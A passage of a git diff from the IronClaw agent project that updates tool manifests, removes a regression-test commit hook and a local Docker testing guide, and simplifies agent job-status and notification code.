|
||||||
"version": "0.1.0",
|
"version": "0.1.0",
|
||||||
"description": "Talk to your agent through WhatsApp",
|
"description": "WhatsApp Cloud API channel for receiving and responding to messages",
|
||||||
"keywords": ["messaging", "chat", "whatsapp", "meta"],
|
"keywords": ["messaging", "chat", "whatsapp", "meta"],
|
||||||
|
|
||||||
"source": {
|
"source": {
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
{
|
||||||
|
"name": "okta",
|
||||||
|
"display_name": "Okta",
|
||||||
|
"kind": "tool",
|
||||||
|
"version": "0.1.0",
|
||||||
|
"description": "Okta SSO for user profile, app catalog, and SSO launch links",
|
||||||
|
"keywords": ["sso", "identity", "authentication", "okta"],
|
||||||
|
|
||||||
|
"source": {
|
||||||
|
"dir": "tools-src/okta",
|
||||||
|
"capabilities": "okta-tool.capabilities.json",
|
||||||
|
"crate_name": "okta-tool"
|
||||||
|
},
|
||||||
|
|
||||||
|
"artifacts": {
|
||||||
|
"wasm32-wasip2": {
|
||||||
|
"url": "https://github.com/nearai/ironclaw/releases/latest/download/okta-wasm32-wasip2.tar.gz",
|
||||||
|
"sha256": null
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
"auth_summary": {
|
||||||
|
"method": "oauth",
|
||||||
|
"provider": "Okta",
|
||||||
|
"secrets": ["okta_oauth_token"],
|
||||||
|
"shared_auth": null,
|
||||||
|
"setup_url": "https://developer.okta.com/docs/guides/implement-oauth-for-okta/main/"
|
||||||
|
},
|
||||||
|
|
||||||
|
"tags": ["identity"]
|
||||||
|
}
|
||||||
@@ -1,9 +1,9 @@
|
|||||||
{
|
{
|
||||||
"name": "slack-tool",
|
"name": "slack-tool",
|
||||||
"display_name": "Slack Tool",
|
"display_name": "Slack",
|
||||||
"kind": "tool",
|
"kind": "tool",
|
||||||
"version": "0.1.0",
|
"version": "0.1.0",
|
||||||
"description": "Your agent uses Slack to post and read messages in your workspace",
|
"description": "Post messages, read channels, and manage conversations via Slack API",
|
||||||
"keywords": ["messaging", "chat", "workspace"],
|
"keywords": ["messaging", "chat", "workspace"],
|
||||||
|
|
||||||
"source": {
|
"source": {
|
||||||
@@ -14,7 +14,7 @@
|
|||||||
|
|
||||||
"artifacts": {
|
"artifacts": {
|
||||||
"wasm32-wasip2": {
|
"wasm32-wasip2": {
|
||||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-tool-wasm32-wasip2.tar.gz",
|
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-wasm32-wasip2.tar.gz",
|
||||||
"sha256": null
|
"sha256": null
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
{
|
{
|
||||||
"name": "telegram-mtproto",
|
"name": "telegram-mtproto",
|
||||||
"display_name": "Telegram Tool",
|
"display_name": "Telegram",
|
||||||
"kind": "tool",
|
"kind": "tool",
|
||||||
"version": "0.1.0",
|
"version": "0.1.0",
|
||||||
"description": "Your agent uses your Telegram account to read and send messages",
|
"description": "Telegram user-mode integration via MTProto for messages and contacts",
|
||||||
"keywords": ["messaging", "chat", "telegram", "mtproto"],
|
"keywords": ["messaging", "chat", "telegram", "mtproto"],
|
||||||
|
|
||||||
"source": {
|
"source": {
|
||||||
@@ -14,7 +14,7 @@
|
|||||||
|
|
||||||
"artifacts": {
|
"artifacts": {
|
||||||
"wasm32-wasip2": {
|
"wasm32-wasip2": {
|
||||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-mtproto-wasm32-wasip2.tar.gz",
|
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-wasm32-wasip2.tar.gz",
|
||||||
"sha256": null
|
"sha256": null
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -1,31 +0,0 @@
|
|||||||
{
|
|
||||||
"name": "web-search",
|
|
||||||
"display_name": "Web Search",
|
|
||||||
"kind": "tool",
|
|
||||||
"version": "0.1.0",
|
|
||||||
"description": "Search the web using Brave Search API",
|
|
||||||
"keywords": ["search", "web", "brave", "internet"],
|
|
||||||
|
|
||||||
"source": {
|
|
||||||
"dir": "tools-src/web-search",
|
|
||||||
"capabilities": "web-search-tool.capabilities.json",
|
|
||||||
"crate_name": "web-search-tool"
|
|
||||||
},
|
|
||||||
|
|
||||||
"artifacts": {
|
|
||||||
"wasm32-wasip2": {
|
|
||||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/web-search-wasm32-wasip2.tar.gz",
|
|
||||||
"sha256": null
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
"auth_summary": {
|
|
||||||
"method": "manual",
|
|
||||||
"provider": "Brave",
|
|
||||||
"secrets": ["brave_api_key"],
|
|
||||||
"shared_auth": null,
|
|
||||||
"setup_url": "https://brave.com/search/api/"
|
|
||||||
},
|
|
||||||
|
|
||||||
"tags": ["default", "search"]
|
|
||||||
}
|
|
||||||
@@ -1,81 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
# commit-msg hook: require regression tests for fix commits.
|
|
||||||
#
|
|
||||||
# Installed by scripts/dev-setup.sh as .git/hooks/commit-msg.
|
|
||||||
# Bypass with [skip-regression-check] in the commit message.
|
|
||||||
|
|
||||||
set -euo pipefail
|
|
||||||
|
|
||||||
MSG_FILE="$1"
|
|
||||||
FIRST_LINE=$(head -1 "$MSG_FILE")
|
|
||||||
|
|
||||||
# --- 1. Is this a fix commit? ---
|
|
||||||
if ! grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$FIRST_LINE"; then
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
# --- 2. Skip marker ---
|
|
||||||
if grep -qF '[skip-regression-check]' "$MSG_FILE"; then
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
# --- 3. Exempt static-only / docs-only changes ---
|
|
||||||
# Get staged files (commit-msg runs after staging is finalized).
|
|
||||||
STAGED_FILES=$(git diff --cached --name-only --diff-filter=ACMR)
|
|
||||||
|
|
||||||
if [ -z "$STAGED_FILES" ]; then
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
ALL_EXEMPT=true
|
|
||||||
while IFS= read -r file; do
|
|
||||||
case "$file" in
|
|
||||||
src/channels/web/static/*) ;;
|
|
||||||
*.md) ;;
|
|
||||||
*) ALL_EXEMPT=false; break ;;
|
|
||||||
esac
|
|
||||||
done <<< "$STAGED_FILES"
|
|
||||||
|
|
||||||
if [ "$ALL_EXEMPT" = true ]; then
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
# --- 4. Look for test changes in staged .rs files ---
|
|
||||||
|
|
||||||
# Fast path: new test attributes or test modules in added lines.
|
|
||||||
if git diff --cached -U0 -- '*.rs' | grep -qE '^\+.*(#\[test\]|#\[tokio::test\]|#\[cfg\(test\)\]|mod tests)'; then
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Whole-function context: detect edits inside existing test functions.
|
|
||||||
# -W shows the full enclosing function, so #[test] appears in context
|
|
||||||
# lines when changes are inside a test function.
|
|
||||||
if git diff --cached -W -- '*.rs' | awk '
|
|
||||||
/^@@/ { if (has_test && has_add) { found=1; exit } has_test=0; has_add=0 }
|
|
||||||
/^ .*#\[test\]/ || /^ .*#\[tokio::test\]/ || /^ .*#\[cfg\(test\)\]/ || /^ .*mod tests/ { has_test=1 }
|
|
||||||
/^\+.*#\[test\]/ || /^\+.*#\[tokio::test\]/ || /^\+.*#\[cfg\(test\)\]/ || /^\+.*mod tests/ { has_test=1 }
|
|
||||||
/^\+[^+]/ { has_add=1 }
|
|
||||||
END { if (has_test && has_add) found=1; exit !found }
|
|
||||||
'; then
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Also check for new/modified files under tests/
|
|
||||||
if grep -qE '^tests/' <<< "$STAGED_FILES"; then
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
# --- 5. No test found — block the commit ---
|
|
||||||
echo ""
|
|
||||||
echo "╔══════════════════════════════════════════════════════════════╗"
|
|
||||||
echo "║ REGRESSION TEST REQUIRED ║"
|
|
||||||
echo "║ ║"
|
|
||||||
echo "║ This commit looks like a bug fix but has no test changes. ║"
|
|
||||||
echo "║ Every fix should include a test that reproduces the bug. ║"
|
|
||||||
echo "║ ║"
|
|
||||||
echo "║ Options: ║"
|
|
||||||
echo "║ • Add a #[test] or #[tokio::test] that catches the bug ║"
|
|
||||||
echo "║ • Add [skip-regression-check] to your commit message ║"
|
|
||||||
echo "╚══════════════════════════════════════════════════════════════╝"
|
|
||||||
echo ""
|
|
||||||
exit 1
|
|
||||||
+5
-17
@@ -24,14 +24,14 @@ if ! command -v rustup &>/dev/null; then
|
|||||||
echo "ERROR: rustup not found. Install from https://rustup.rs"
|
echo "ERROR: rustup not found. Install from https://rustup.rs"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
echo "[1/6] rustup found: $(rustup --version 2>/dev/null | head -1)"
|
echo "[1/5] rustup found: $(rustup --version 2>/dev/null | head -1)"
|
||||||
|
|
||||||
# 2. Add WASM target (required by build.rs for channel compilation)
|
# 2. Add WASM target (required by build.rs for channel compilation)
|
||||||
echo "[2/6] Adding wasm32-wasip2 target..."
|
echo "[2/5] Adding wasm32-wasip2 target..."
|
||||||
rustup target add wasm32-wasip2
|
rustup target add wasm32-wasip2
|
||||||
|
|
||||||
# 3. Install wasm-tools (required by build.rs for WASM component model)
|
# 3. Install wasm-tools (required by build.rs for WASM component model)
|
||||||
echo "[3/6] Installing wasm-tools..."
|
echo "[3/5] Installing wasm-tools..."
|
||||||
if command -v wasm-tools &>/dev/null; then
|
if command -v wasm-tools &>/dev/null; then
|
||||||
echo " wasm-tools already installed: $(wasm-tools --version)"
|
echo " wasm-tools already installed: $(wasm-tools --version)"
|
||||||
else
|
else
|
||||||
@@ -39,25 +39,13 @@ else
|
|||||||
fi
|
fi
|
||||||
|
|
||||||
# 4. Verify the project compiles
|
# 4. Verify the project compiles
|
||||||
echo "[4/6] Running cargo check..."
|
echo "[4/5] Running cargo check..."
|
||||||
cargo check
|
cargo check
|
||||||
|
|
||||||
# 5. Run tests using libsql temp DB (no Docker/external DB needed)
|
# 5. Run tests using libsql temp DB (no Docker/external DB needed)
|
||||||
echo "[5/6] Running tests (no external DB required)..."
|
echo "[5/5] Running tests (no external DB required)..."
|
||||||
cargo test
|
cargo test
|
||||||
|
|
||||||
# 6. Install git hooks
|
|
||||||
echo "[6/6] Installing git hooks..."
|
|
||||||
HOOKS_DIR=$(git rev-parse --git-path hooks 2>/dev/null) || true
|
|
||||||
if [ -n "$HOOKS_DIR" ]; then
|
|
||||||
mkdir -p "$HOOKS_DIR"
|
|
||||||
SCRIPT_ABS="$(cd "$(dirname "$0")" && pwd)/commit-msg-regression.sh"
|
|
||||||
ln -sf "$SCRIPT_ABS" "$HOOKS_DIR/commit-msg"
|
|
||||||
echo " commit-msg hook installed (regression test enforcement)"
|
|
||||||
else
|
|
||||||
echo " Skipped: not a git repository"
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
echo "=== Setup complete ==="
|
echo "=== Setup complete ==="
|
||||||
echo ""
|
echo ""
|
||||||
|
|||||||
@@ -1,225 +0,0 @@
|
|||||||
---
|
|
||||||
name: local-test
|
|
||||||
version: 0.1.0
|
|
||||||
description: Build, run, and test IronClaw locally using Docker containers and Chrome MCP browser automation.
|
|
||||||
activation:
|
|
||||||
keywords:
|
|
||||||
- test locally
|
|
||||||
- local test
|
|
||||||
- docker test
|
|
||||||
- test my changes
|
|
||||||
- test in docker
|
|
||||||
- test web gateway
|
|
||||||
- spin up test
|
|
||||||
- test container
|
|
||||||
patterns:
|
|
||||||
- "test.*local"
|
|
||||||
- "docker.*test"
|
|
||||||
- "spin.*up.*test"
|
|
||||||
- "test.*changes.*docker"
|
|
||||||
max_context_tokens: 3000
|
|
||||||
---
|
|
||||||
|
|
||||||
# Local Testing with Docker + Chrome MCP
|
|
||||||
|
|
||||||
Use this skill to build, run, and test IronClaw web gateway changes locally using `Dockerfile.test` and Chrome MCP browser automation tools.
|
|
||||||
|
|
||||||
## Quick Start
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Build the test image (libsql-only, no PostgreSQL needed)
|
|
||||||
docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test .
|
|
||||||
|
|
||||||
# Run on port 3003 (default)
|
|
||||||
docker run --rm -p 3003:3003 \
|
|
||||||
-e ONBOARD_COMPLETED=true \
|
|
||||||
-e CLI_ENABLED=false \
|
|
||||||
-e NEARAI_API_KEY=<key> \
|
|
||||||
ironclaw-test
|
|
||||||
|
|
||||||
# Open in browser
|
|
||||||
# http://localhost:3003/?token=test
|
|
||||||
```
|
|
||||||
|
|
||||||
## Building the Image
|
|
||||||
|
|
||||||
The test Dockerfile uses a two-stage build: Rust compilation with `--features libsql` (no PostgreSQL dependency), then a minimal Debian runtime image.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test .
|
|
||||||
```
|
|
||||||
|
|
||||||
Build takes ~5-10 minutes on first run (cached subsequent builds are faster). The `--platform linux/amd64` flag avoids QEMU warnings on Apple Silicon but can be omitted if targeting native architecture.
|
|
||||||
|
|
||||||
## Running Containers
|
|
||||||
|
|
||||||
### Required Environment Variables
|
|
||||||
|
|
||||||
| Variable | Purpose | Default in Dockerfile |
|
|
||||||
|----------|---------|----------------------|
|
|
||||||
| `ONBOARD_COMPLETED=true` | Skip onboarding wizard (exits immediately otherwise) | not set |
|
|
||||||
| `CLI_ENABLED=false` | Disable TUI/REPL (causes EOF shutdown otherwise) | not set |
|
|
||||||
|
|
||||||
### LLM Backend Configuration
|
|
||||||
|
|
||||||
Pick ONE of these configurations:
|
|
||||||
|
|
||||||
**NEAR AI (API key mode):**
|
|
||||||
```bash
|
|
||||||
docker run --rm -p 3003:3003 \
|
|
||||||
-e ONBOARD_COMPLETED=true \
|
|
||||||
-e CLI_ENABLED=false \
|
|
||||||
-e NEARAI_API_KEY=<your-key> \
|
|
||||||
ironclaw-test
|
|
||||||
```
|
|
||||||
|
|
||||||
**NEAR AI (session token mode):**
|
|
||||||
```bash
|
|
||||||
docker run --rm -p 3003:3003 \
|
|
||||||
-e ONBOARD_COMPLETED=true \
|
|
||||||
-e CLI_ENABLED=false \
|
|
||||||
-e NEARAI_SESSION_TOKEN=<sess_xxx> \
|
|
||||||
-e NEARAI_BASE_URL=https://private.near.ai \
|
|
||||||
ironclaw-test
|
|
||||||
```
|
|
||||||
|
|
||||||
**OpenAI:**
|
|
||||||
```bash
|
|
||||||
docker run --rm -p 3003:3003 \
|
|
||||||
-e ONBOARD_COMPLETED=true \
|
|
||||||
-e CLI_ENABLED=false \
|
|
||||||
-e LLM_BACKEND=openai \
|
|
||||||
-e OPENAI_API_KEY=<your-key> \
|
|
||||||
ironclaw-test
|
|
||||||
```
|
|
||||||
|
|
||||||
**Anthropic:**
|
|
||||||
```bash
|
|
||||||
docker run --rm -p 3003:3003 \
|
|
||||||
-e ONBOARD_COMPLETED=true \
|
|
||||||
-e CLI_ENABLED=false \
|
|
||||||
-e LLM_BACKEND=anthropic \
|
|
||||||
-e ANTHROPIC_API_KEY=<your-key> \
|
|
||||||
ironclaw-test
|
|
||||||
```
|
|
||||||
|
|
||||||
**Dummy run (no LLM, just test the UI loads):**
|
|
||||||
```bash
|
|
||||||
docker run --rm -p 3003:3003 \
|
|
||||||
-e ONBOARD_COMPLETED=true \
|
|
||||||
-e CLI_ENABLED=false \
|
|
||||||
-e NEARAI_API_KEY=dummy \
|
|
||||||
ironclaw-test
|
|
||||||
```
|
|
||||||
|
|
||||||
### Common Overrides
|
|
||||||
|
|
||||||
| Variable | Purpose | Example |
|
|
||||||
|----------|---------|---------|
|
|
||||||
| `GATEWAY_PORT` | Change the listen port | `3003` (default) |
|
|
||||||
| `GATEWAY_AUTH_TOKEN` | Auth token for API | `test` (default) |
|
|
||||||
| `NEARAI_MODEL` | Override LLM model | `claude-3-5-sonnet-20241022` |
|
|
||||||
| `RUST_LOG` | Logging verbosity | `ironclaw=debug` |
|
|
||||||
| `ROUTINES_ENABLED` | Enable routines | `true`/`false` |
|
|
||||||
| `SKILLS_ENABLED` | Enable skills system | `true` (default) |
|
|
||||||
|
|
||||||
### Multi-Instance Testing
|
|
||||||
|
|
||||||
Run multiple containers on different host ports:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
docker run --rm -d --name ic-test-a -p 3003:3003 -e ONBOARD_COMPLETED=true -e CLI_ENABLED=false -e NEARAI_API_KEY=dummy ironclaw-test
|
|
||||||
docker run --rm -d --name ic-test-b -p 3004:3003 -e ONBOARD_COMPLETED=true -e CLI_ENABLED=false -e NEARAI_API_KEY=dummy ironclaw-test
|
|
||||||
```
|
|
||||||
|
|
||||||
## Chrome MCP Testing Workflow
|
|
||||||
|
|
||||||
Use the Claude for Chrome browser automation tools to test the web UI.
|
|
||||||
|
|
||||||
### Step 1: Get Browser Context
|
|
||||||
|
|
||||||
```
|
|
||||||
mcp__claude-in-chrome__tabs_context_mcp
|
|
||||||
```
|
|
||||||
|
|
||||||
Always start here to see current tabs and get fresh tab IDs.
|
|
||||||
|
|
||||||
### Step 2: Open the Gateway
|
|
||||||
|
|
||||||
```
|
|
||||||
mcp__claude-in-chrome__tabs_create_mcp url=http://localhost:3003/?token=test
|
|
||||||
```
|
|
||||||
|
|
||||||
### Step 3: Verify the Page
|
|
||||||
|
|
||||||
```
|
|
||||||
mcp__claude-in-chrome__read_page
|
|
||||||
```
|
|
||||||
|
|
||||||
Check for:
|
|
||||||
- "Connected" indicator in top-right
|
|
||||||
- All tabs visible: Chat, Memory, Jobs, Routines, Extensions, Skills
|
|
||||||
|
|
||||||
### Step 4: Take Screenshots
|
|
||||||
|
|
||||||
```
|
|
||||||
mcp__claude-in-chrome__computer action=screenshot
|
|
||||||
```
|
|
||||||
|
|
||||||
### Step 5: Test Mobile Viewport
|
|
||||||
|
|
||||||
```
|
|
||||||
mcp__claude-in-chrome__resize_window width=375 height=812
|
|
||||||
mcp__claude-in-chrome__computer action=screenshot
|
|
||||||
```
|
|
||||||
|
|
||||||
Reset to desktop:
|
|
||||||
```
|
|
||||||
mcp__claude-in-chrome__resize_window width=1280 height=800
|
|
||||||
```
|
|
||||||
|
|
||||||
### Step 6: Run JavaScript Checks
|
|
||||||
|
|
||||||
```
|
|
||||||
mcp__claude-in-chrome__javascript_tool script="document.querySelector('.connection-status')?.textContent"
|
|
||||||
```
|
|
||||||
|
|
||||||
### Step 7: Test Interactions
|
|
||||||
|
|
||||||
Click tabs, send messages, search skills — use `computer` tool with `action=click` and coordinate-based clicks, or use `find` + `form_input` for text entry.
|
|
||||||
|
|
||||||
## Cleanup
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Stop a specific container
|
|
||||||
docker stop ic-test-a
|
|
||||||
|
|
||||||
# Stop all test containers
|
|
||||||
docker ps --filter ancestor=ironclaw-test -q | xargs -r docker stop
|
|
||||||
|
|
||||||
# Remove the test image
|
|
||||||
docker rmi ironclaw-test
|
|
||||||
```
|
|
||||||
|
|
||||||
## Troubleshooting
|
|
||||||
|
|
||||||
### Container exits immediately
|
|
||||||
- **Missing `ONBOARD_COMPLETED=true`**: The onboarding wizard tries to read stdin, gets EOF, and exits.
|
|
||||||
- **Missing `CLI_ENABLED=false`**: The REPL channel reads stdin, gets EOF, and shuts down the agent.
|
|
||||||
|
|
||||||
### "Model not found" or LLM errors
|
|
||||||
- Check that your API key/token is valid and the model name is correct.
|
|
||||||
- For NEAR AI session token mode, you also need `NEARAI_BASE_URL=https://private.near.ai`.
|
|
||||||
|
|
||||||
### Platform mismatch warnings on Apple Silicon
|
|
||||||
- The `--platform linux/amd64` flag causes QEMU emulation warnings — these are harmless.
|
|
||||||
- Alternatively, omit the flag and build natively if your dependencies support ARM64.
|
|
||||||
|
|
||||||
### Port already in use
|
|
||||||
- The dev server defaults to port 3001; the test Dockerfile defaults to 3003 to avoid conflicts.
|
|
||||||
- Use a different host port: `-p 3005:3003`.
|
|
||||||
|
|
||||||
### Cannot connect from browser
|
|
||||||
- Verify `GATEWAY_HOST=0.0.0.0` (set by default in Dockerfile).
|
|
||||||
- Check the container logs: `docker logs <container-id>`.
|
|
||||||
- Make sure you include the token query param: `?token=test`.
|
|
||||||
+11
-61
@@ -73,8 +73,6 @@ pub struct AgentDeps {
|
|||||||
pub hooks: Arc<HookRegistry>,
|
pub hooks: Arc<HookRegistry>,
|
||||||
/// Cost enforcement guardrails (daily budget, hourly rate limits).
|
/// Cost enforcement guardrails (daily budget, hourly rate limits).
|
||||||
pub cost_guard: Arc<crate::agent::cost_guard::CostGuard>,
|
pub cost_guard: Arc<crate::agent::cost_guard::CostGuard>,
|
||||||
/// SSE broadcast sender for live job event streaming to the web gateway.
|
|
||||||
pub sse_tx: Option<tokio::sync::broadcast::Sender<crate::channels::web::types::SseEvent>>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// The main agent that coordinates all components.
|
/// The main agent that coordinates all components.
|
||||||
@@ -113,7 +111,7 @@ impl Agent {
|
|||||||
|
|
||||||
let session_manager = session_manager.unwrap_or_else(|| Arc::new(SessionManager::new()));
|
let session_manager = session_manager.unwrap_or_else(|| Arc::new(SessionManager::new()));
|
||||||
|
|
||||||
let mut scheduler = Scheduler::new(
|
let scheduler = Arc::new(Scheduler::new(
|
||||||
config.clone(),
|
config.clone(),
|
||||||
context_manager.clone(),
|
context_manager.clone(),
|
||||||
deps.llm.clone(),
|
deps.llm.clone(),
|
||||||
@@ -121,11 +119,7 @@ impl Agent {
|
|||||||
deps.tools.clone(),
|
deps.tools.clone(),
|
||||||
deps.store.clone(),
|
deps.store.clone(),
|
||||||
deps.hooks.clone(),
|
deps.hooks.clone(),
|
||||||
);
|
));
|
||||||
if let Some(ref tx) = deps.sse_tx {
|
|
||||||
scheduler.set_sse_sender(tx.clone());
|
|
||||||
}
|
|
||||||
let scheduler = Arc::new(scheduler);
|
|
||||||
|
|
||||||
Self {
|
Self {
|
||||||
config,
|
config,
|
||||||
@@ -144,11 +138,6 @@ impl Agent {
|
|||||||
|
|
||||||
// Convenience accessors
|
// Convenience accessors
|
||||||
|
|
||||||
/// Get the scheduler (for external wiring, e.g. CreateJobTool).
|
|
||||||
pub fn scheduler(&self) -> Arc<Scheduler> {
|
|
||||||
Arc::clone(&self.scheduler)
|
|
||||||
}
|
|
||||||
|
|
||||||
pub(super) fn store(&self) -> Option<&Arc<dyn Database>> {
|
pub(super) fn store(&self) -> Option<&Arc<dyn Database>> {
|
||||||
self.deps.store.as_ref()
|
self.deps.store.as_ref()
|
||||||
}
|
}
|
||||||
@@ -424,7 +413,7 @@ impl Agent {
|
|||||||
// Load initial event cache
|
// Load initial event cache
|
||||||
engine.refresh_event_cache().await;
|
engine.refresh_event_cache().await;
|
||||||
|
|
||||||
// Spawn notification forwarder (mirrors heartbeat pattern)
|
// Spawn notification forwarder
|
||||||
let channels = self.channels.clone();
|
let channels = self.channels.clone();
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move {
|
||||||
while let Some(response) = notify_rx.recv().await {
|
while let Some(response) = notify_rx.recv().await {
|
||||||
@@ -434,33 +423,14 @@ impl Agent {
|
|||||||
.and_then(|v| v.as_str())
|
.and_then(|v| v.as_str())
|
||||||
.unwrap_or("default")
|
.unwrap_or("default")
|
||||||
.to_string();
|
.to_string();
|
||||||
let notify_channel = response
|
let results = channels.broadcast_all(&user, response).await;
|
||||||
.metadata
|
for (ch, result) in results {
|
||||||
.get("notify_channel")
|
if let Err(e) = result {
|
||||||
.and_then(|v| v.as_str())
|
tracing::warn!(
|
||||||
.map(|s| s.to_string());
|
"Failed to broadcast routine notification to {}: {}",
|
||||||
|
ch,
|
||||||
// Try the configured channel first, fall back to
|
e
|
||||||
// broadcasting on all channels.
|
);
|
||||||
let targeted_ok = if let Some(ref channel) = notify_channel {
|
|
||||||
channels
|
|
||||||
.broadcast(channel, &user, response.clone())
|
|
||||||
.await
|
|
||||||
.is_ok()
|
|
||||||
} else {
|
|
||||||
false
|
|
||||||
};
|
|
||||||
|
|
||||||
if !targeted_ok {
|
|
||||||
let results = channels.broadcast_all(&user, response).await;
|
|
||||||
for (ch, result) in results {
|
|
||||||
if let Err(e) = result {
|
|
||||||
tracing::warn!(
|
|
||||||
"Failed to broadcast routine notification to {}: {}",
|
|
||||||
ch,
|
|
||||||
e
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -618,19 +588,6 @@ impl Agent {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async fn handle_message(&self, message: &IncomingMessage) -> Result<Option<String>, Error> {
|
async fn handle_message(&self, message: &IncomingMessage) -> Result<Option<String>, Error> {
|
||||||
// Set message tool context for this turn (current channel and target)
|
|
||||||
// For Signal, use signal_target from metadata (group:ID or phone number),
|
|
||||||
// otherwise fall back to user_id
|
|
||||||
let target = message
|
|
||||||
.metadata
|
|
||||||
.get("signal_target")
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.map(|s| s.to_string())
|
|
||||||
.unwrap_or_else(|| message.user_id.clone());
|
|
||||||
self.tools()
|
|
||||||
.set_message_tool_context(Some(message.channel.clone()), Some(target))
|
|
||||||
.await;
|
|
||||||
|
|
||||||
// Parse submission type first
|
// Parse submission type first
|
||||||
let mut submission = SubmissionParser::parse(&message.content);
|
let mut submission = SubmissionParser::parse(&message.content);
|
||||||
|
|
||||||
@@ -728,13 +685,6 @@ impl Agent {
|
|||||||
Submission::Heartbeat => self.process_heartbeat().await,
|
Submission::Heartbeat => self.process_heartbeat().await,
|
||||||
Submission::Summarize => self.process_summarize(session, thread_id).await,
|
Submission::Summarize => self.process_summarize(session, thread_id).await,
|
||||||
Submission::Suggest => self.process_suggest(session, thread_id).await,
|
Submission::Suggest => self.process_suggest(session, thread_id).await,
|
||||||
Submission::JobStatus { job_id } => {
|
|
||||||
self.process_job_status(&message.user_id, job_id.as_deref())
|
|
||||||
.await
|
|
||||||
}
|
|
||||||
Submission::JobCancel { job_id } => {
|
|
||||||
self.process_job_cancel(&message.user_id, &job_id).await
|
|
||||||
}
|
|
||||||
Submission::Quit => return Ok(None),
|
Submission::Quit => return Ok(None),
|
||||||
Submission::SwitchThread { thread_id: target } => {
|
Submission::SwitchThread { thread_id: target } => {
|
||||||
self.process_switch_thread(message, target).await
|
self.process_switch_thread(message, target).await
|
||||||
|
|||||||
+7
-116
@@ -12,7 +12,6 @@ use crate::agent::session::Session;
|
|||||||
use crate::agent::submission::SubmissionResult;
|
use crate::agent::submission::SubmissionResult;
|
||||||
use crate::agent::{Agent, MessageIntent};
|
use crate::agent::{Agent, MessageIntent};
|
||||||
use crate::channels::{IncomingMessage, StatusUpdate};
|
use crate::channels::{IncomingMessage, StatusUpdate};
|
||||||
use crate::context::JobState;
|
|
||||||
use crate::error::Error;
|
use crate::error::Error;
|
||||||
use crate::llm::{ChatMessage, Reasoning};
|
use crate::llm::{ChatMessage, Reasoning};
|
||||||
|
|
||||||
@@ -118,22 +117,6 @@ impl Agent {
|
|||||||
let uuid = Uuid::parse_str(&id)
|
let uuid = Uuid::parse_str(&id)
|
||||||
.map_err(|_| crate::error::JobError::NotFound { id: Uuid::nil() })?;
|
.map_err(|_| crate::error::JobError::NotFound { id: Uuid::nil() })?;
|
||||||
|
|
||||||
// Try DB first for persistent state, fall back to ContextManager.
|
|
||||||
if let Some(store) = self.store()
|
|
||||||
&& let Ok(Some(ctx)) = store.get_job(uuid).await
|
|
||||||
{
|
|
||||||
return Ok(format!(
|
|
||||||
"Job: {}\nStatus: {:?}\nCreated: {}\nStarted: {}\nActual cost: {}",
|
|
||||||
ctx.title,
|
|
||||||
ctx.state,
|
|
||||||
ctx.created_at.format("%Y-%m-%d %H:%M:%S"),
|
|
||||||
ctx.started_at
|
|
||||||
.map(|t| t.format("%Y-%m-%d %H:%M:%S").to_string())
|
|
||||||
.unwrap_or_else(|| "Not started".to_string()),
|
|
||||||
ctx.actual_cost
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
let ctx = self.context_manager.get_context(uuid).await?;
|
let ctx = self.context_manager.get_context(uuid).await?;
|
||||||
if ctx.user_id != user_id {
|
if ctx.user_id != user_id {
|
||||||
return Err(crate::error::JobError::NotFound { id: uuid }.into());
|
return Err(crate::error::JobError::NotFound { id: uuid }.into());
|
||||||
@@ -151,38 +134,10 @@ impl Agent {
|
|||||||
))
|
))
|
||||||
}
|
}
|
||||||
None => {
|
None => {
|
||||||
// Show summary from DB for consistency with Jobs tab.
|
// Show summary of all jobs
|
||||||
if let Some(store) = self.store() {
|
|
||||||
let mut total = 0;
|
|
||||||
let mut in_progress = 0;
|
|
||||||
let mut completed = 0;
|
|
||||||
let mut failed = 0;
|
|
||||||
let mut stuck = 0;
|
|
||||||
|
|
||||||
if let Ok(s) = store.agent_job_summary().await {
|
|
||||||
total += s.total;
|
|
||||||
in_progress += s.in_progress;
|
|
||||||
completed += s.completed;
|
|
||||||
failed += s.failed;
|
|
||||||
stuck += s.stuck;
|
|
||||||
}
|
|
||||||
if let Ok(s) = store.sandbox_job_summary().await {
|
|
||||||
total += s.total;
|
|
||||||
in_progress += s.running;
|
|
||||||
completed += s.completed;
|
|
||||||
failed += s.failed + s.interrupted;
|
|
||||||
}
|
|
||||||
|
|
||||||
return Ok(format!(
|
|
||||||
